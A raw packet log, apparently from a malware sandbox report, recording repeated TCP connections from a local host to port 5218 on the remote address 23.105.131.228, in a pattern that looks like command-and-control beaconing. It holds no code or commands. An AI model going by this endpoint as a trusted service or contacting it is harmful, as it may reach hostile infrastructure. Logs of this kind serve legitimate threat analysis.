May 25, 2022 16:28:30.959544897 CEST	49786	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:31.286725998 CEST	5218	49786	23.105.131.228	192.168.11.20
May 25, 2022 16:28:31.287012100 CEST	49786	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:31.312329054 CEST	5218	49786	23.105.131.228	192.168.11.20
May 25, 2022 16:28:31.353262901 CEST	49786	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:31.611244917 CEST	5218	49786	23.105.131.228	192.168.11.20
May 25, 2022 16:28:31.611618042 CEST	49786	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:31.884697914 CEST	5218	49786	23.105.131.228	192.168.11.20
May 25, 2022 16:28:31.884970903 CEST	49786	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:32.192326069 CEST	5218	49786	23.105.131.228	192.168.11.20
May 25, 2022 16:28:32.192563057 CEST	49786	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:32.774981976 CEST	49786	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:33.035696983 CEST	5218	49786	23.105.131.228	192.168.11.20
May 25, 2022 16:28:33.035954952 CEST	49786	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:36.800131083 CEST	49787	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:37.062761068 CEST	5218	49787	23.105.131.228	192.168.11.20
May 25, 2022 16:28:37.063004017 CEST	49787	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:37.063244104 CEST	49787	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:37.372241020 CEST	5218	49787	23.105.131.228	192.168.11.20
May 25, 2022 16:28:37.372467041 CEST	49787	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:37.421860933 CEST	5218	49787	23.105.131.228	192.168.11.20
May 25, 2022 16:28:37.476886988 CEST	49787	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:37.760997057 CEST	5218	49787	23.105.131.228	192.168.11.20
May 25, 2022 16:28:37.761550903 CEST	49787	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:38.133570910 CEST	5218	49787	23.105.131.228	192.168.11.20
May 25, 2022 16:28:38.133817911 CEST	49787	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:38.485038996 CEST	5218	49787	23.105.131.228	192.168.11.20
May 25, 2022 16:28:38.485400915 CEST	49787	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:38.851865053 CEST	49787	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:38.888663054 CEST	5218	49787	23.105.131.228	192.168.11.20
May 25, 2022 16:28:38.888989925 CEST	49787	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:38.991918087 CEST	5218	49787	23.105.131.228	192.168.11.20
May 25, 2022 16:28:38.992290974 CEST	49787	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:39.069922924 CEST	5218	49787	23.105.131.228	192.168.11.20
May 25, 2022 16:28:39.070038080 CEST	5218	49787	23.105.131.228	192.168.11.20
May 25, 2022 16:28:39.070125103 CEST	5218	49787	23.105.131.228	192.168.11.20
May 25, 2022 16:28:39.070189953 CEST	5218	49787	23.105.131.228	192.168.11.20
May 25, 2022 16:28:39.070267916 CEST	5218	49787	23.105.131.228	192.168.11.20
May 25, 2022 16:28:39.070302010 CEST	49787	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:39.070353985 CEST	5218	49787	23.105.131.228	192.168.11.20
May 25, 2022 16:28:39.070374966 CEST	49787	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:39.070417881 CEST	5218	49787	23.105.131.228	192.168.11.20
May 25, 2022 16:28:39.070533991 CEST	5218	49787	23.105.131.228	192.168.11.20
May 25, 2022 16:28:39.070530891 CEST	49787	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:39.070583105 CEST	49787	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:39.070596933 CEST	49787	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:39.070602894 CEST	5218	49787	23.105.131.228	192.168.11.20
May 25, 2022 16:28:39.070777893 CEST	49787	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:39.070827961 CEST	49787	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:42.879602909 CEST	49788	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:43.166076899 CEST	5218	49788	23.105.131.228	192.168.11.20
May 25, 2022 16:28:43.166289091 CEST	49788	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:43.166697979 CEST	49788	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:43.506521940 CEST	5218	49788	23.105.131.228	192.168.11.20
May 25, 2022 16:28:43.506782055 CEST	49788	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:43.570319891 CEST	5218	49788	23.105.131.228	192.168.11.20
May 25, 2022 16:28:43.616209030 CEST	49788	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:43.821290970 CEST	5218	49788	23.105.131.228	192.168.11.20
May 25, 2022 16:28:43.821672916 CEST	49788	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:44.287204027 CEST	5218	49788	23.105.131.228	192.168.11.20
May 25, 2022 16:28:44.287373066 CEST	49788	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:44.596549034 CEST	5218	49788	23.105.131.228	192.168.11.20
May 25, 2022 16:28:44.596906900 CEST	49788	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:44.949343920 CEST	5218	49788	23.105.131.228	192.168.11.20
May 25, 2022 16:28:44.949511051 CEST	49788	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:45.022294998 CEST	49788	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:45.115183115 CEST	5218	49788	23.105.131.228	192.168.11.20
May 25, 2022 16:28:45.115293980 CEST	5218	49788	23.105.131.228	192.168.11.20
May 25, 2022 16:28:45.115353107 CEST	49788	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:45.115390062 CEST	5218	49788	23.105.131.228	192.168.11.20
May 25, 2022 16:28:45.115456104 CEST	5218	49788	23.105.131.228	192.168.11.20
May 25, 2022 16:28:45.115516901 CEST	5218	49788	23.105.131.228	192.168.11.20
May 25, 2022 16:28:45.115576982 CEST	5218	49788	23.105.131.228	192.168.11.20
May 25, 2022 16:28:45.115663052 CEST	49788	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:45.115731955 CEST	49788	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:45.115775108 CEST	49788	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:45.115796089 CEST	49788	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:45.115808964 CEST	49788	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:45.117018938 CEST	5218	49788	23.105.131.228	192.168.11.20
May 25, 2022 16:28:45.117151976 CEST	5218	49788	23.105.131.228	192.168.11.20
May 25, 2022 16:28:45.117222071 CEST	5218	49788	23.105.131.228	192.168.11.20
May 25, 2022 16:28:45.117244005 CEST	49788	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:45.117304087 CEST	5218	49788	23.105.131.228	192.168.11.20
May 25, 2022 16:28:45.117305994 CEST	49788	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:45.117559910 CEST	49788	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:45.117624044 CEST	49788	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:45.272389889 CEST	5218	49788	23.105.131.228	192.168.11.20
May 25, 2022 16:28:45.272753954 CEST	49788	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:49.050308943 CEST	49789	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:49.375379086 CEST	5218	49789	23.105.131.228	192.168.11.20
May 25, 2022 16:28:49.375741959 CEST	49789	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:49.375931978 CEST	49789	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:49.749866962 CEST	5218	49789	23.105.131.228	192.168.11.20
May 25, 2022 16:28:49.750133991 CEST	49789	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:49.792761087 CEST	5218	49789	23.105.131.228	192.168.11.20
May 25, 2022 16:28:49.793046951 CEST	49789	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:50.059747934 CEST	5218	49789	23.105.131.228	192.168.11.20
May 25, 2022 16:28:50.060049057 CEST	49789	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:50.345021009 CEST	5218	49789	23.105.131.228	192.168.11.20
May 25, 2022 16:28:50.345470905 CEST	49789	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:50.655641079 CEST	5218	49789	23.105.131.228	192.168.11.20
May 25, 2022 16:28:50.656053066 CEST	49789	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:50.957717896 CEST	5218	49789	23.105.131.228	192.168.11.20
May 25, 2022 16:28:50.957937956 CEST	49789	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:50.991746902 CEST	5218	49789	23.105.131.228	192.168.11.20
May 25, 2022 16:28:50.991841078 CEST	5218	49789	23.105.131.228	192.168.11.20
May 25, 2022 16:28:50.991990089 CEST	5218	49789	23.105.131.228	192.168.11.20
May 25, 2022 16:28:50.992073059 CEST	5218	49789	23.105.131.228	192.168.11.20
May 25, 2022 16:28:50.992110968 CEST	49789	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:50.992158890 CEST	49789	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:50.992228985 CEST	49789	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:50.992368937 CEST	5218	49789	23.105.131.228	192.168.11.20
May 25, 2022 16:28:50.992588043 CEST	49789	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:50.993899107 CEST	5218	49789	23.105.131.228	192.168.11.20
May 25, 2022 16:28:50.993961096 CEST	5218	49789	23.105.131.228	192.168.11.20
May 25, 2022 16:28:50.994121075 CEST	49789	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:50.994168997 CEST	49789	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:51.037477016 CEST	5218	49789	23.105.131.228	192.168.11.20
May 25, 2022 16:28:51.037559986 CEST	5218	49789	23.105.131.228	192.168.11.20
May 25, 2022 16:28:51.037607908 CEST	5218	49789	23.105.131.228	192.168.11.20
May 25, 2022 16:28:51.037794113 CEST	49789	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:51.255299091 CEST	49789	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:51.355643034 CEST	5218	49789	23.105.131.228	192.168.11.20
May 25, 2022 16:28:51.355951071 CEST	49789	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:51.355959892 CEST	5218	49789	23.105.131.228	192.168.11.20
May 25, 2022 16:28:51.356043100 CEST	5218	49789	23.105.131.228	192.168.11.20
May 25, 2022 16:28:51.356158972 CEST	49789	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:51.356225014 CEST	49789	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:51.357692957 CEST	5218	49789	23.105.131.228	192.168.11.20
May 25, 2022 16:28:51.357772112 CEST	5218	49789	23.105.131.228	192.168.11.20
May 25, 2022 16:28:51.357820988 CEST	5218	49789	23.105.131.228	192.168.11.20
May 25, 2022 16:28:51.357965946 CEST	49789	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:51.358019114 CEST	49789	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:51.358031034 CEST	49789	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:51.358222961 CEST	5218	49789	23.105.131.228	192.168.11.20
May 25, 2022 16:28:51.358278990 CEST	5218	49789	23.105.131.228	192.168.11.20
May 25, 2022 16:28:51.358402967 CEST	49789	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:51.358515024 CEST	49789	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:51.358536005 CEST	5218	49789	23.105.131.228	192.168.11.20
May 25, 2022 16:28:51.358727932 CEST	49789	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:51.360043049 CEST	5218	49789	23.105.131.228	192.168.11.20
May 25, 2022 16:28:51.360214949 CEST	5218	49789	23.105.131.228	192.168.11.20
May 25, 2022 16:28:51.360234022 CEST	49789	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:51.360336065 CEST	49789	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:51.400330067 CEST	5218	49789	23.105.131.228	192.168.11.20
May 25, 2022 16:28:51.400445938 CEST	5218	49789	23.105.131.228	192.168.11.20
May 25, 2022 16:28:51.400563955 CEST	5218	49789	23.105.131.228	192.168.11.20
May 25, 2022 16:28:51.400592089 CEST	49789	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:51.400702953 CEST	49789	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:51.400705099 CEST	5218	49789	23.105.131.228	192.168.11.20
May 25, 2022 16:28:51.400798082 CEST	49789	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:51.400815010 CEST	5218	49789	23.105.131.228	192.168.11.20
May 25, 2022 16:28:51.400897980 CEST	49789	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:51.400990009 CEST	49789	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:51.401010990 CEST	5218	49789	23.105.131.228	192.168.11.20
May 25, 2022 16:28:51.401114941 CEST	5218	49789	23.105.131.228	192.168.11.20
May 25, 2022 16:28:51.401199102 CEST	5218	49789	23.105.131.228	192.168.11.20
May 25, 2022 16:28:51.401238918 CEST	49789	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:51.401252031 CEST	49789	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:51.401365042 CEST	49789	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:51.401372910 CEST	5218	49789	23.105.131.228	192.168.11.20
May 25, 2022 16:28:51.401571989 CEST	49789	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:55.441394091 CEST	49790	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:55.695291996 CEST	5218	49790	23.105.131.228	192.168.11.20
May 25, 2022 16:28:55.695911884 CEST	49790	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:55.697451115 CEST	49790	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:56.124675989 CEST	5218	49790	23.105.131.228	192.168.11.20
May 25, 2022 16:28:56.125045061 CEST	49790	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:56.128099918 CEST	5218	49790	23.105.131.228	192.168.11.20
May 25, 2022 16:28:56.175899029 CEST	49790	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:56.477089882 CEST	5218	49790	23.105.131.228	192.168.11.20
May 25, 2022 16:28:56.477336884 CEST	49790	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:56.780045033 CEST	5218	49790	23.105.131.228	192.168.11.20
May 25, 2022 16:28:56.780471087 CEST	49790	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:57.116867065 CEST	5218	49790	23.105.131.228	192.168.11.20
May 25, 2022 16:28:57.117103100 CEST	49790	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:57.525844097 CEST	5218	49790	23.105.131.228	192.168.11.20
May 25, 2022 16:28:57.526141882 CEST	49790	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:57.566255093 CEST	49790	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:57.725147963 CEST	5218	49790	23.105.131.228	192.168.11.20
May 25, 2022 16:28:57.725270987 CEST	5218	49790	23.105.131.228	192.168.11.20
May 25, 2022 16:28:57.725354910 CEST	49790	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:57.725373030 CEST	5218	49790	23.105.131.228	192.168.11.20
May 25, 2022 16:28:57.725450993 CEST	5218	49790	23.105.131.228	192.168.11.20
May 25, 2022 16:28:57.725498915 CEST	49790	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:57.725543022 CEST	49790	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:57.725557089 CEST	5218	49790	23.105.131.228	192.168.11.20
May 25, 2022 16:28:57.725617886 CEST	49790	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:57.725765944 CEST	5218	49790	23.105.131.228	192.168.11.20
May 25, 2022 16:28:57.725814104 CEST	49790	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:57.725848913 CEST	5218	49790	23.105.131.228	192.168.11.20
May 25, 2022 16:28:57.725940943 CEST	5218	49790	23.105.131.228	192.168.11.20
May 25, 2022 16:28:57.725986958 CEST	49790	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:57.726125002 CEST	5218	49790	23.105.131.228	192.168.11.20
May 25, 2022 16:28:57.726150036 CEST	49790	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:57.726203918 CEST	5218	49790	23.105.131.228	192.168.11.20
May 25, 2022 16:28:57.726320982 CEST	49790	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:57.726423025 CEST	49790	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:28:57.823980093 CEST	5218	49790	23.105.131.228	192.168.11.20
May 25, 2022 16:28:57.824229956 CEST	49790	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:01.593569040 CEST	49791	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:02.596405983 CEST	49791	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:03.013744116 CEST	5218	49791	23.105.131.228	192.168.11.20
May 25, 2022 16:29:03.014059067 CEST	49791	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:03.014507055 CEST	49791	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:03.316025019 CEST	5218	49791	23.105.131.228	192.168.11.20
May 25, 2022 16:29:03.316248894 CEST	49791	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:03.378782988 CEST	5218	49791	23.105.131.228	192.168.11.20
May 25, 2022 16:29:03.379127979 CEST	49791	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:03.632108927 CEST	5218	49791	23.105.131.228	192.168.11.20
May 25, 2022 16:29:03.632806063 CEST	49791	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:04.010365009 CEST	5218	49791	23.105.131.228	192.168.11.20
May 25, 2022 16:29:04.010879040 CEST	49791	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:04.413861036 CEST	5218	49791	23.105.131.228	192.168.11.20
May 25, 2022 16:29:04.414143085 CEST	49791	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:04.768098116 CEST	49791	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:04.789882898 CEST	5218	49791	23.105.131.228	192.168.11.20
May 25, 2022 16:29:04.790117025 CEST	49791	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:04.870675087 CEST	5218	49791	23.105.131.228	192.168.11.20
May 25, 2022 16:29:04.870738029 CEST	5218	49791	23.105.131.228	192.168.11.20
May 25, 2022 16:29:04.871036053 CEST	49791	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:04.871407032 CEST	49791	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:04.872845888 CEST	5218	49791	23.105.131.228	192.168.11.20
May 25, 2022 16:29:04.873013020 CEST	49791	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:04.873106956 CEST	5218	49791	23.105.131.228	192.168.11.20
May 25, 2022 16:29:04.873308897 CEST	49791	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:08.796343088 CEST	49792	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:09.263959885 CEST	5218	49792	23.105.131.228	192.168.11.20
May 25, 2022 16:29:09.264399052 CEST	49792	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:09.264602900 CEST	49792	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:09.607748032 CEST	5218	49792	23.105.131.228	192.168.11.20
May 25, 2022 16:29:09.607964039 CEST	49792	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:09.651567936 CEST	5218	49792	23.105.131.228	192.168.11.20
May 25, 2022 16:29:09.651751041 CEST	49792	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:09.940675974 CEST	5218	49792	23.105.131.228	192.168.11.20
May 25, 2022 16:29:09.941083908 CEST	49792	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:10.233938932 CEST	5218	49792	23.105.131.228	192.168.11.20
May 25, 2022 16:29:10.234113932 CEST	49792	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:10.584121943 CEST	5218	49792	23.105.131.228	192.168.11.20
May 25, 2022 16:29:10.584326029 CEST	49792	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:10.879395962 CEST	5218	49792	23.105.131.228	192.168.11.20
May 25, 2022 16:29:10.879662037 CEST	49792	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:11.008171082 CEST	5218	49792	23.105.131.228	192.168.11.20
May 25, 2022 16:29:11.008218050 CEST	5218	49792	23.105.131.228	192.168.11.20
May 25, 2022 16:29:11.008492947 CEST	49792	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:11.012926102 CEST	5218	49792	23.105.131.228	192.168.11.20
May 25, 2022 16:29:11.012990952 CEST	5218	49792	23.105.131.228	192.168.11.20
May 25, 2022 16:29:11.013037920 CEST	5218	49792	23.105.131.228	192.168.11.20
May 25, 2022 16:29:11.013185978 CEST	49792	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:11.013238907 CEST	49792	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:11.013251066 CEST	49792	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:11.014246941 CEST	5218	49792	23.105.131.228	192.168.11.20
May 25, 2022 16:29:11.014342070 CEST	5218	49792	23.105.131.228	192.168.11.20
May 25, 2022 16:29:11.014391899 CEST	5218	49792	23.105.131.228	192.168.11.20
May 25, 2022 16:29:11.014437914 CEST	5218	49792	23.105.131.228	192.168.11.20
May 25, 2022 16:29:11.014576912 CEST	49792	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:11.014627934 CEST	49792	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:11.014640093 CEST	49792	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:11.015552998 CEST	5218	49792	23.105.131.228	192.168.11.20
May 25, 2022 16:29:11.015913010 CEST	49792	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:11.157063961 CEST	49792	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:11.180071115 CEST	5218	49792	23.105.131.228	192.168.11.20
May 25, 2022 16:29:11.180418968 CEST	49792	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:11.374672890 CEST	5218	49792	23.105.131.228	192.168.11.20
May 25, 2022 16:29:11.375075102 CEST	49792	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:11.377444983 CEST	5218	49792	23.105.131.228	192.168.11.20
May 25, 2022 16:29:11.377557039 CEST	5218	49792	23.105.131.228	192.168.11.20
May 25, 2022 16:29:11.377645969 CEST	5218	49792	23.105.131.228	192.168.11.20
May 25, 2022 16:29:11.377698898 CEST	49792	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:11.377707958 CEST	5218	49792	23.105.131.228	192.168.11.20
May 25, 2022 16:29:11.377762079 CEST	49792	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:11.377769947 CEST	5218	49792	23.105.131.228	192.168.11.20
May 25, 2022 16:29:11.377834082 CEST	5218	49792	23.105.131.228	192.168.11.20
May 25, 2022 16:29:11.377886057 CEST	49792	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:11.377938032 CEST	49792	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:11.378060102 CEST	49792	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:11.382093906 CEST	5218	49792	23.105.131.228	192.168.11.20
May 25, 2022 16:29:11.382359028 CEST	49792	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:11.395101070 CEST	5218	49792	23.105.131.228	192.168.11.20
May 25, 2022 16:29:11.395204067 CEST	5218	49792	23.105.131.228	192.168.11.20
May 25, 2022 16:29:11.395262003 CEST	5218	49792	23.105.131.228	192.168.11.20
May 25, 2022 16:29:11.395334959 CEST	5218	49792	23.105.131.228	192.168.11.20
May 25, 2022 16:29:11.395351887 CEST	49792	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:11.395390987 CEST	5218	49792	23.105.131.228	192.168.11.20
May 25, 2022 16:29:11.395452023 CEST	49792	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:11.395467043 CEST	49792	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:11.395535946 CEST	49792	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:11.416280985 CEST	5218	49792	23.105.131.228	192.168.11.20
May 25, 2022 16:29:11.416647911 CEST	49792	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:11.420097113 CEST	5218	49792	23.105.131.228	192.168.11.20
May 25, 2022 16:29:11.420192003 CEST	5218	49792	23.105.131.228	192.168.11.20
May 25, 2022 16:29:11.420248032 CEST	5218	49792	23.105.131.228	192.168.11.20
May 25, 2022 16:29:11.420322895 CEST	5218	49792	23.105.131.228	192.168.11.20
May 25, 2022 16:29:11.420331955 CEST	49792	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:11.420377016 CEST	5218	49792	23.105.131.228	192.168.11.20
May 25, 2022 16:29:11.420391083 CEST	49792	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:11.420403957 CEST	49792	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:11.420452118 CEST	5218	49792	23.105.131.228	192.168.11.20
May 25, 2022 16:29:11.420552969 CEST	49792	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:11.420600891 CEST	49792	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:11.420613050 CEST	49792	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:15.185076952 CEST	49793	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:15.456921101 CEST	5218	49793	23.105.131.228	192.168.11.20
May 25, 2022 16:29:15.457165956 CEST	49793	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:15.457432032 CEST	49793	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:15.822029114 CEST	5218	49793	23.105.131.228	192.168.11.20
May 25, 2022 16:29:15.822077990 CEST	5218	49793	23.105.131.228	192.168.11.20
May 25, 2022 16:29:15.822211981 CEST	49793	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:15.874483109 CEST	49793	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:16.122694016 CEST	5218	49793	23.105.131.228	192.168.11.20
May 25, 2022 16:29:16.122989893 CEST	49793	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:16.434350014 CEST	5218	49793	23.105.131.228	192.168.11.20
May 25, 2022 16:29:16.434753895 CEST	49793	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:16.797719955 CEST	5218	49793	23.105.131.228	192.168.11.20
May 25, 2022 16:29:16.798264980 CEST	49793	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:17.137016058 CEST	5218	49793	23.105.131.228	192.168.11.20
May 25, 2022 16:29:17.137108088 CEST	5218	49793	23.105.131.228	192.168.11.20
May 25, 2022 16:29:17.137279987 CEST	49793	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:17.137332916 CEST	49793	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:17.137541056 CEST	5218	49793	23.105.131.228	192.168.11.20
May 25, 2022 16:29:17.137607098 CEST	5218	49793	23.105.131.228	192.168.11.20
May 25, 2022 16:29:17.137710094 CEST	49793	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:17.137818098 CEST	5218	49793	23.105.131.228	192.168.11.20
May 25, 2022 16:29:17.137919903 CEST	49793	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:17.138045073 CEST	49793	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:17.139448881 CEST	5218	49793	23.105.131.228	192.168.11.20
May 25, 2022 16:29:17.139514923 CEST	5218	49793	23.105.131.228	192.168.11.20
May 25, 2022 16:29:17.139790058 CEST	49793	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:17.139870882 CEST	49793	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:17.144602060 CEST	5218	49793	23.105.131.228	192.168.11.20
May 25, 2022 16:29:17.144668102 CEST	5218	49793	23.105.131.228	192.168.11.20
May 25, 2022 16:29:17.144716024 CEST	5218	49793	23.105.131.228	192.168.11.20
May 25, 2022 16:29:17.144762993 CEST	5218	49793	23.105.131.228	192.168.11.20
May 25, 2022 16:29:17.144850016 CEST	49793	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:17.144978046 CEST	49793	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:17.145001888 CEST	49793	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:17.234137058 CEST	49793	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:17.402905941 CEST	5218	49793	23.105.131.228	192.168.11.20
May 25, 2022 16:29:17.403023958 CEST	5218	49793	23.105.131.228	192.168.11.20
May 25, 2022 16:29:17.403104067 CEST	5218	49793	23.105.131.228	192.168.11.20
